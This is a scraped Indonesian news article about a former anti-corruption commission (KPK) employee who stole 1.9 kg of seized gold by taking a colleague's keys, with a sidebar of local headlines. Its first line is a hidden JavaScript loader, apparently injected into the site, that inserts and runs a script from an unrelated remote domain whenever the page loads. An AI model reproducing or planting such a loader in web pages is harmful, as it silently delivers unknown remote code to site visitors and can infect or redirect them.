(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Pegawai KPK Curi Emas Batangan 1,9 Kg Sitaan Koruptor, Begini Cara Dia Jalankan Aksinya!


KANALKALIMANTAN.COM, JAKARTA- Wakil Ketua Komisi Pemberantasan Korupsi (KPK) Nurul Ghufron menjelaskan proses eks pegawai lembaga antirasuah yang berinisial IGA bisa mencuri emas batangan 1,9 kilogram dari tempat penyimpanan Direktorat Pelacakan Aset, Pengelolaan Barang Bukti, dan Eksekusi (Labuksi).

Ghufron mengatakan, untuk menuju tempat penyimpanan barang bukti atau sitaan koruptor perlu melewari pintu sebanyak tiga lapis. Itu pun, tak sembarangan petugas KPK yang bisa memasuki karena setiap pintunya memiliki kunci yang berbeda.

Ghufron menyebut IGA memang salah satu Satgas KPK yang bertugas di tempat penyimpanan barang bukti. Namun, ia tak bisa juga untuk masuk sembarangan ke tempat penyimpanan emas. Maka itu, dia mencuri kunci untuk menuju tempat emas batangan tersebut.

“Sesungguhnya memang dia (IGA) berhak satu tahap (pemegang kunci). Tapi, untuk tahap berikutnya, pakai kunci dan kuncinya itu ada di tahap orang lain tapi di tasnya. Itu diambil di tasnya. Jadi, dia mencurinya, mencuri ada tiga orang tiga lapis,” ucap Ghufron di Gedung Merah Putih KPK,

“Orang pertama untuk masuk ke tahap berikutnya harus melalui tahap kunci di orang kedua. Nah kunci di tangan orang kedua dia curi di tasnya itupun tidak diketahui, itu yang terjadi,” tambah Ghufron

Menurut Ghufron, karena IGA juga salah satu petugas di bagian itu, pegawai lain pun tak menaruh curiga. Dan tak, mengetahui bahwa IGA mengambil kunci.

“Tapi karena pemegang kunci itu, karena sudah merasa akrab, sehingga tasnya juga ditempatkan di tempat yang dia (tersangka IGA) tahu. Nah, itu yang fatal terjadi,” ungkap Ghufron.

Seperti diketahui, IGA sudah dipecat secara tidak terhormat oleh Dewan Pengawas KPK melalui sidang etik.

Dia terbukti bersalah mencuri emas batangan milik sitaan koruptor eks Pejabat Kementerian Keuangan Yaya Purnomo. IGA nekat mencuri karena terlilit hutang karena terlibat permainan bisnis Forex. Selain dipecat, secara tidak hormat. Proses hukum IGA pun kini bergulir di kepolisian. Proses pencurian itu kini ditangani oleh Polres Jakarta Selatan.

Atas perbuatan IGA, ia dianggap telah merugikan keuangan negara. Sekaligus juga telah menodai integritas seluruh insan KPK.

“Karena perbuatannya menimbulkan dampak merugikan dan berpotensi merugikan keuangan negara dan sudah terjadi bahwa citra KPK sebagai orang kenal memiliki integritas sudah ternodai oleh perbuatan yang bersangkutan,” ucap Ketua Dewas KPK Tumpak Hatorongan. (suara)

Editor: cell

 

 


Al Ghifari

Recent Posts

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

4 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

4 jam ago

Koordinator Posko Tim Banjarbaru Hanyar Diancam Dihabisi, Dikirimi Dua Surat Kaleng

KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More

5 jam ago

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

10 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

12 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

12 jam ago

This website uses cookies.